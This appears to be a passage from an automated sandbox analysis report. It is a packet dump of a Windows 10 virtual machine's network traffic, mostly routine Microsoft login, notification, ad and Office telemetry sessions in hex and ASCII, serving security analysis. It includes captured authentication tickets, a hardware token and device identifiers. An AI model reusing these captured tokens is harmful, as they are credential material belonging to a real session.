Nov 26, 2024 01:43:10.729266882 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 01:43:10.729362965 CET	1236	IN	Data Raw: ea 1e 5d 86 ac 8d 52 8b 17 c3 15 d1 cb 32 a0 29 df cc a0 d2 bf 8b 55 04 9a 68 d5 0b 33 15 8d 65 c3 06 eb 02 fd 56 84 66 08 ca ef 7e d2 1e a7 8f c1 15 42 3e a3 8b 31 88 35 2a 94 ce 22 2a ac a9 9e 24 1d 0d 96 b4 43 47 4d 6e a2 cf 2b 8c 01 77 2f 2b Data Ascii: ]R2)Uh3eVf~B>15"$CGMn+w/+WeULQIO*Gc#iNj[(Rz\|{\|a?T2w`]1TG1/u)XN\%4Tf;J-B(,-vz(Jy'#k
Nov 26, 2024 01:43:10.729374886 CET	1236	IN	Data Raw: 4d bc 8f 48 cb 88 9c bf cb 23 39 0f f2 ae da b4 1f 84 a0 4a af d5 c9 c5 7e ec 74 aa d1 51 65 57 4b 81 7f 18 3a 8c e9 49 46 d9 35 56 3b 81 c4 57 57 77 2e 5d 41 f6 54 6b 58 17 0f 2f 07 fd df 72 16 c0 56 64 57 5b a1 b1 45 1f c5 69 27 e9 ae 07 a9 6c Data Ascii: MH#9J~tQeWK:IF5V;WWw.]ATkX/rVdW[Ei'li&.Ua"M"Uf/mF+6\ij 2RW,d9w~kJ#OIm4:FHK5/pHK',GQR=[ fAP
Nov 26, 2024 01:43:10.729386091 CET	1236	IN	Data Raw: 2a 0a 6e 82 4e 9b bb d7 f7 be b3 11 62 52 c4 d7 12 53 b9 f8 d5 3a 82 93 82 71 16 11 85 93 d9 3a 2a 90 e0 8e 4c a4 6d 41 c3 67 9d ea d8 f1 54 12 a5 5a fc cc d7 62 c4 40 b9 8e 55 3c 6e 52 70 ca ea 13 1d 6f 1b cb 30 d7 e6 e4 e4 87 ea 94 39 ac 1a c5 Data Ascii: nNbRS:q:LmAgTZb@U<nRpo09{LuCTk\m!8,a"vjMvZBoQMRz(PIo`T0VO_F5;U>7u/S8Kg@L\WON@Tb[eFM 8qNK/B$
Nov 26, 2024 01:43:10.729398966 CET	1236	IN	Data Raw: bf 6e d8 7a db 1c 63 69 67 a6 2a 67 57 9c 52 c0 2c d1 a7 c8 4a be 2d 0b c9 7a 1c c5 0f d1 d5 24 99 3d 93 1a d9 74 4a fe 01 0d 9d 54 1b db 2c 3a 03 43 3d 3f d1 8d d5 53 15 c8 0b 5f 53 a5 19 22 77 48 5e 38 2a 76 3b 50 66 7b f3 4e 2b 9e 1f b6 e8 c7 Data Ascii: nzciggWR,J-z$=tJT,:C=?S_S"wH^8v;Pf{N+"ilJ'R-k3TVgA;In/OmM}QJU=DYH%Vz]/a/zxfR/#f,%[jt4"
Nov 26, 2024 01:43:10.729963064 CET	332	IN	Data Raw: 4d 13 5c 01 6c f5 8e f5 16 9c e4 19 f4 56 a7 4f 1b 61 28 62 f0 13 90 a1 70 cc 50 e5 f7 52 96 ae 60 1c 19 74 c4 9a f1 cb fe 6c ee cc 4c 9f 07 bd 7f 73 d5 92 67 b2 c1 2d 2b 25 87 69 6f 98 c5 fd f7 aa 4a e5 11 ec 08 7e 1f 2a 67 c3 23 27 14 90 ad e9 Data Ascii: M\lVOa(bpPR`tlLsg-+%ioJ~g#'I/q#':_POyVFXf =y>_`DK]MISkPy}W+C.QT[`Q@?p*QbL!KPOgg
Nov 26, 2024 01:43:10.729979038 CET	1236	IN	Data Raw: b1 22 fe b1 d0 2e ec 67 20 8c c5 7b 4f 98 eb cf 68 67 f4 d7 8f 19 04 09 30 a3 a5 06 23 44 43 15 d6 12 f9 01 b9 a2 29 a4 e5 ae ea 02 e9 dc ec 67 fd 6b 9d 0d 90 f5 95 1c 47 4a 93 3a e5 c9 9d 66 24 30 f3 5a 8f 45 7e a4 26 43 b2 87 bb 29 4a 06 04 9f Data Ascii: ".g {Ohg0#DC)gkGJ:f$0ZE~&C)J\)9\|%WDCTsL6\|""W)hO``hJ`&tm))JYd~Z_Ii;ahwp^
Nov 26, 2024 01:43:10.849097967 CET	1236	IN	Data Raw: d8 f0 83 cb ff 98 ab 7b 6d fa 55 de ba 08 60 41 79 ee 9e 1a 19 4c b0 7d fd d4 88 4f 7a 66 cf 4f e3 4a d3 f1 d1 8d c8 7f 17 f5 a6 d7 35 13 c0 4b ff f2 4e e1 02 f3 93 18 34 07 0a 73 7c 73 57 ab 50 52 1d 01 26 a9 55 25 48 1e 98 cd 85 f3 51 4f 66 8c Data Ascii: {mU`AyL}OzfOJ5KN4s\|sWPR&U%HQOf.=qR;2ci^N[fBNAoL>\|%5D7I:qm+SFa%J'R&(:5Nsx_nwR_K*i8Ehreo}9-KM] #p

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49714	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:09 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 65 75 7a 7a 66 64 77 33 6b 30 69 39 37 45 7a 57 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 38 34 34 66 33 36 39 37 65 65 62 30 65 63 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: euzzfdw3k0i97EzW.1Context: d844f3697eeb0ec9
2024-11-26 00:41:09 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-26 00:41:09 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 65 75 7a 7a 66 64 77 33 6b 30 69 39 37 45 7a 57 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 38 34 34 66 33 36 39 37 65 65 62 30 65 63 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 42 67 6e 77 68 42 53 43 51 68 78 6a 47 73 41 6c 62 45 5a 45 35 57 43 5a 65 76 33 36 32 37 7a 70 76 79 64 4c 2b 65 36 44 57 34 46 36 4b 48 33 66 4c 77 32 48 41 48 63 58 37 31 53 6b 68 39 63 67 61 6c 74 37 54 30 5a 78 4b 66 34 36 4a 76 67 57 54 49 72 68 41 77 74 76 71 39 4a 6e 35 69 37 4e 75 42 4e 56 69 4c 4a 41 75 46 56 75 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: euzzfdw3k0i97EzW.2Context: d844f3697eeb0ec9<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbBgnwhBSCQhxjGsAlbEZE5WCZev3627zpvydL+e6DW4F6KH3fLw2HAHcX71Skh9cgalt7T0ZxKf46JvgWTIrhAwtvq9Jn5i7NuBNViLJAuFVu
2024-11-26 00:41:09 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 65 75 7a 7a 66 64 77 33 6b 30 69 39 37 45 7a 57 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 38 34 34 66 33 36 39 37 65 65 62 30 65 63 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: euzzfdw3k0i97EzW.3Context: d844f3697eeb0ec9<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-26 00:41:10 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-26 00:41:10 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 62 52 6d 2b 4e 6e 2f 4c 70 55 65 50 52 2b 59 34 68 68 66 56 37 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: bRm+Nn/LpUePR+Y4hhfV7A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49716	40.126.53.17	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:13 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-26 00:41:13 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-26 00:41:14 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 26 Nov 2024 00:40:14 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BAY x-ms-request-id: d0b8bc5a-bf9b-4755-b810-0e2341815d5a PPServer: PPV: 30 H: PH1PEPF0001200B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 26 Nov 2024 00:41:13 GMT Connection: close Content-Length: 11177
2024-11-26 00:41:14 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49717	40.126.53.17	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:13 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-26 00:41:13 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-26 00:41:14 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 26 Nov 2024 00:40:13 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_SN1 x-ms-request-id: b721ec32-a3bb-4e0b-8379-d85d53f2006f PPServer: PPV: 30 H: SN1PEPF0004018A V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 26 Nov 2024 00:41:13 GMT Connection: close Content-Length: 11177
2024-11-26 00:41:14 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49718	20.223.36.55	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:14 UTC	2604	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T004110Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=13611172f41b4f88bb84283859c699ff&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=601583&metered=false&nettype=ethernet&npid=sc-338387&oemName=biqyts%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=biqyts20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=601583&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAQPDlE3ov/sLJj/ONoCYZVPHC77vZxQ+MByXPaGI5/QnjVlPkPwCnv9qKOHwjLov6/tzV3BWCptc2eZyIyg4jJ4mN0SQFikvqH30Zge1jL8Ktj1azqkyfAcGr9Uflj1keutxhuk03defs9gD8AKGsIBdTxL4L03Z4Jqj+WUMpIFzpX5lpLvcNZoS1QiIYid+fwBHW2np5wJHmgEe+lSmk8HTasC0LIox/8tWga5rfUBUnZQQApEIPexAWLj4uQvVx1PEUSYHWXw5kHAg+RvKPt/m/I8vMWaT0o5KCB7/VTMjIBKyhQwIVNTbsTEi5+LjQVCelzeVw4yNRkokAObzDCoQZgAAEKTkrdaYUcl4Gj8H6UgNhL2wAaVAn2+yyP5LvyuWdU8+z5f0hjbKjWiv8OoBIJSmieJdE+gHENiWUT9mgzArUddrRr8GjWb/CBbV1OTnyYsCJVwMWtaC5SgzH7+tynhLibW9di3Q4dZYV/2OAC8wcIdQTMwemfcSXOZla1lQybJfbtlkLUR37zu4Y/srOBUnFUsLGJHNbOqdHRNu+C1smysHxxXMTxnnc8SiU5BdUgWDUgzNeDxKXsrUN2c7Ym4Zy60l5eLKmU2tPRab0RnNHytweJJOBRFhGN4yi/pfsoWLfHsyMFMIAhAzpyXMuby4XIiZ38STXaeyDRy1zL2wAaAkWene6ZerBn3zoY1U2Z58GXOfH5jb853V9DDDB7dYh66bYAxvgjbTVCD8ANSrOhyNTv7SvPooQc/VRnkyAHFgT3rdJPJz47/+WUYP1+E6BDtehVuv7Q3tDYKDy1Hl082N8FFTe9xgnz5tUehBh8/P/BRRl5KO5BWBB3GurRGvdIbfem7kG4LrTyNAmCbLEsM/ArBa2f/5xEWE3qwRat43zJ9JSj+h5O04ZiE1ZHwCZczUzxJOzmvLSUZ0Ud4WG9ybC9cB&p= Cache-Control: no-cache MS-CV: oCcyyIRnWUKfQX2e.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-26 00:41:15 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 23819 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: gs5y7N70J97v9LnrQuy5o2+1Svh6HeltJHp1IRCCF9lDyD5ffSAae5XC0iyrTvnYzZgteBZZ8qMQCwGd7uK9vpUGaEU2CXa6DC7/mI827lmGAMf2RyZuDmFfWuCbIRCWBqlbMKPevE4j1msF65sV0SayWfwPB6FTmVL8JYgzoUedkU9QnBiTR6NhrdWnFTjAJVE3+SDLjRP8qA3Q6Rl4aSR/wni+7NtF1Bi7yu/PYvxDn+2IJsK/pEP+q8M1eBHF3RvmueJWjmJooSqkYwDXxgBHwz4aOUrXoPeekZDH5KgL1CHkBcA8kNg+yuP+N2KixjQfX7OFA6AxWpKOT12sUA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 26 Nov 2024 00:41:13 GMT Connection: close
2024-11-26 00:41:15 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-11-26 00:41:15 UTC	8250	IN	Data Raw: 55 6e 69 74 49 64 3d 31 31 37 33 30 35 39 38 5c 5c 75 30 30 32 36 6c 6f 63 61 6c 49 64 3d 77 3a 30 36 38 44 34 38 32 44 2d 38 46 33 42 2d 37 38 41 45 2d 44 41 41 30 2d 30 43 30 38 42 38 46 46 32 41 45 36 5c 5c 75 30 30 32 36 64 65 76 69 63 65 49 64 3d 36 39 36 36 35 35 35 33 32 30 39 31 32 37 33 35 5c 5c 75 30 30 32 36 61 6e 69 64 3d 44 41 31 38 43 38 38 32 35 33 35 36 42 41 43 34 45 37 42 32 33 30 36 36 46 46 46 46 46 46 46 46 5c 22 2c 5c 22 65 69 64 5c 22 3a 7b 5c 22 74 5c 22 3a 5c 22 74 78 74 5c 22 2c 5c 22 74 78 5c 22 3a 5c 22 55 32 56 68 63 6d 4e 6f 51 57 51 6a 4f 44 55 78 4e 44 51 77 4d 44 45 78 4e 6a 67 79 4d 7a 41 6a 4d 6a 4d 7a 4e 6a 6b 30 4d 7a 49 30 4e 6a 49 34 4d 54 4d 31 4e 67 3d 3d 5c 22 7d 2c 5c 22 5f 66 6c 69 67 68 74 5c 22 3a 5c 22 5c 22 Data Ascii: UnitId=11730598\\u0026localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6\\u0026deviceId=6966555320912735\\u0026anid=DA18C8825356BAC4E7B23066FFFFFFFF\",\"eid\":{\"t\":\"txt\",\"tx\":\"U2VhcmNoQWQjODUxNDQwMDExNjgyMzAjMjMzNjk0MzI0NjI4MTM1Ng==\"},\"_flight\":\"\"

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:14 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:15 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:14 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 25 Nov 2024 13:17:46 GMT ETag: "0x8DD0D538D5EA1E0" x-ms-request-id: f5f75198-101e-00a2-8091-3f9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004114Z-174f7845968ljs8phC1EWRe6en0000000ung000000001sr8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
